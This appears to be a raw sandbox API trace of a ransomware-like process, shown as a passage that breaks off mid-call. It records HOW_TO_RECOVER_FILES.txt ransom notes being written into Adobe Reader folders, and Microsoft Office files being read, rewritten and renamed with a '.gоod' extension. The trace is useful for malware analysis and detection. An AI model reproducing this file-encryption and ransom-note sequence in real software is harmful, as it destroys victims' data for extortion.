[0196.069] GetFileType (hFile=0x7c8) returned 0x1 [0196.069] WriteFile (in: hFile=0x7c8, lpBuffer=0x37822e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdeb288, lpOverlapped=0x0 | out: lpBuffer=0x37822e0*, lpNumberOfBytesWritten=0x1fdeb288*=0x5d0, lpOverlapped=0x0) returned 1 [0196.070] CloseHandle (hObject=0x7c8) returned 1 [0196.070] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeb6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0196.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebbf0) returned 1 [0196.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0196.730] GetFileType (hFile=0x7c8) returned 0x1 [0196.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb60) returned 1 [0196.730] GetFileType (hFile=0x7c8) returned 0x1 [0196.731] WriteFile (in: hFile=0x7c8, lpBuffer=0x37c86e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdebcb8, lpOverlapped=0x0 | out: lpBuffer=0x37c86e8*, lpNumberOfBytesWritten=0x1fdebcb8*=0x5d0, lpOverlapped=0x0) returned 1 [0196.732] CloseHandle (hObject=0x7c8) returned 1 [0196.732] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdec100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x73 [0196.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec620) returned 1 [0196.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0196.733] GetFileType (hFile=0x7c8) returned 0x1 [0196.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec590) returned 1 [0196.733] GetFileType (hFile=0x7c8) returned 0x1 [0196.733] WriteFile (in: hFile=0x7c8, lpBuffer=0x37cc000*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdec6e8, lpOverlapped=0x0 | out: lpBuffer=0x37cc000*, lpNumberOfBytesWritten=0x1fdec6e8*=0x5d0, lpOverlapped=0x0) returned 1 [0196.734] CloseHandle (hObject=0x7c8) returned 1 Thread: id = 180 os_tid = 0xd7c [0101.111] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0101.112] CoGetContextToken (in: pToken=0x1feeeec0 | out: pToken=0x1feeeec0) returned 0x0 [0101.112] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1feeeef8 | out: ppvObject=0x1feeeef8*=0x12e64e8) returned 0x0 [0101.112] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1feeef68 | out: pThreadType=0x1feeef68*=0) returned 0x0 [0101.112] IUnknown:Release (This=0x12e64e8) returned 0x0 [0101.112] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0101.112] CoUninitialize () [0101.112] RoInitialize () returned 0x1 [0101.112] RoUninitialize () returned 0x0 [0101.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feee030) returned 1 [0101.113] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office", nBufferLength=0x105, lpBuffer=0x1feedad0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office", lpFilePart=0x0) returned 0x21 [0101.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x1feedd50 | out: lpFindFileData=0x1feedd50*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0101.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0101.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1 [0101.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0101.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0101.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0101.115] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 0 [0101.115] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0101.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedf70) returned 1 [0101.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedf30) returned 1 [0101.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feee030) returned 1 [0101.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office", nBufferLength=0x105, lpBuffer=0x1feedad0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office", lpFilePart=0x0) returned 0x21 [0101.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x1feedd50 | out: lpFindFileData=0x1feedd50*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0101.115] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.115] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0101.115] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1 [0101.116] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0101.116] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0101.116] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0101.116] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1feedd10 | out: lpFindFileData=0x1feedd10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0101.116] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0101.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedf70) returned 1 [0101.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedf30) returned 1 [0101.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", nBufferLength=0x105, lpBuffer=0x1feed910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", lpFilePart=0x0) returned 0x32 [0101.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedde0) returned 1 [0101.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x33f02c0 | out: lpFileInformation=0x33f02c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x2ccce575, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ab307)) returned 1 [0101.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedda0) returned 1 [0101.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", nBufferLength=0x105, lpBuffer=0x1feed7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", lpFilePart=0x0) returned 0x32 [0101.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedce0) returned 1 [0101.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0101.117] GetFileType (hFile=0x7b4) returned 0x1 [0101.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedc50) returned 1 [0101.117] GetFileType (hFile=0x7b4) returned 0x1 [0101.117] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feede38*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feede38*=0) returned 0x1000 [0101.117] ReadFile (in: hFile=0x7b4, lpBuffer=0x33f0698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feede08, lpOverlapped=0x0 | out: lpBuffer=0x33f0698*, lpNumberOfBytesRead=0x1feede08*=0x1000, lpOverlapped=0x0) returned 1 [0101.118] CloseHandle (hObject=0x7b4) returned 1 [0101.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", nBufferLength=0x105, lpBuffer=0x1feed7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", lpFilePart=0x0) returned 0x32 [0101.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedce0) returned 1 [0101.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0101.118] GetFileType (hFile=0x7b4) returned 0x1 [0101.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedc50) returned 1 [0101.119] GetFileType (hFile=0x7b4) returned 0x1 [0101.119] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feede38*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feede38*=0) returned 0x5ab307 [0101.119] WriteFile (in: hFile=0x7b4, lpBuffer=0x33f1910*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feedd28, lpOverlapped=0x0 | out: lpBuffer=0x33f1910*, lpNumberOfBytesWritten=0x1feedd28*=0x10, lpOverlapped=0x0) returned 1 [0101.119] CloseHandle (hObject=0x7b4) returned 1 [0101.119] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", nBufferLength=0x105, lpBuffer=0x1feed7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", lpFilePart=0x0) returned 0x32 [0101.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedce0) returned 1 [0101.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0101.119] GetFileType (hFile=0x7b4) returned 0x1 [0101.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedc50) returned 1 [0101.119] GetFileType (hFile=0x7b4) returned 0x1 [0101.119] ReadFile (in: hFile=0x7b4, lpBuffer=0x33f3bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feeddb8, lpOverlapped=0x0 | out: lpBuffer=0x33f3bb0*, lpNumberOfBytesRead=0x1feeddb8*=0x1000, lpOverlapped=0x0) returned 1 [0101.588] CloseHandle (hObject=0x7b4) returned 1 [0101.588] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", nBufferLength=0x105, lpBuffer=0x1feed7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", lpFilePart=0x0) returned 0x32 [0101.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedce0) returned 1 [0101.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0101.588] GetFileType (hFile=0x7b4) returned 0x1 [0101.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedc50) returned 1 [0101.588] GetFileType (hFile=0x7b4) returned 0x1 [0101.588] WriteFile (in: hFile=0x7b4, lpBuffer=0x33d51c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feede68, lpOverlapped=0x0 | out: lpBuffer=0x33d51c8*, lpNumberOfBytesWritten=0x1feede68*=0x1010, lpOverlapped=0x0) returned 1 [0101.589] CloseHandle (hObject=0x7b4) returned 1 [0101.589] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", nBufferLength=0x105, lpBuffer=0x1feed910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", lpFilePart=0x0) returned 0x32 [0101.589] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feed910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.gоod", lpFilePart=0x0) returned 0x37 [0101.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedda0) returned 1 [0101.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feede80 | out: lpFileInformation=0x1feede80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x38c31cef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ab317)) returned 1 [0101.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedd60) returned 1 [0101.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.gоod")) returned 1 [0101.590] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", nBufferLength=0x105, lpBuffer=0x1feed910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", lpFilePart=0x0) returned 0x38 [0101.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedde0) returned 1 [0101.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3460970 | out: lpFileInformation=0x3460970*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1 [0101.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedda0) returned 1 [0101.590] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", nBufferLength=0x105, lpBuffer=0x1feed770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", lpFilePart=0x0) returned 0x38 [0101.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedc90) returned 1 [0101.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0101.590] GetFileType (hFile=0x7b4) returned 0x1 [0101.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedc00) returned 1 [0101.590] GetFileType (hFile=0x7b4) returned 0x1 [0101.590] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1feede38 | out: lpFileSizeHigh=0x1feede38*=0x0) returned 0x119 [0101.590] ReadFile (in: hFile=0x7b4, lpBuffer=0x3460d28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feedd68, lpOverlapped=0x0 | out: lpBuffer=0x3460d28*, lpNumberOfBytesRead=0x1feedd68*=0x119, lpOverlapped=0x0) returned 1 [0101.590] CloseHandle (hObject=0x7b4) returned 1 [0101.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", nBufferLength=0x105, lpBuffer=0x1feed770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", lpFilePart=0x0) returned 0x38 [0101.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedc90) returned 1 [0101.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0101.620] GetFileType (hFile=0x7b4) returned 0x1 [0101.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedc00) returned 1 [0101.620] GetFileType (hFile=0x7b4) returned 0x1 [0101.621] WriteFile (in: hFile=0x7b4, lpBuffer=0x34d99a0*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x1feedc78, lpOverlapped=0x0 | out: lpBuffer=0x34d99a0*, lpNumberOfBytesWritten=0x1feedc78*=0x120, lpOverlapped=0x0) returned 1 [0101.621] CloseHandle (hObject=0x7b4) returned 1 [0101.621] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", nBufferLength=0x105, lpBuffer=0x1feed910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", lpFilePart=0x0) returned 0x38 [0101.622] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feed910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.gоod", lpFilePart=0x0) returned 0x3d [0101.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feedda0) returned 1 [0101.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), fInfoLevelId=0x0, 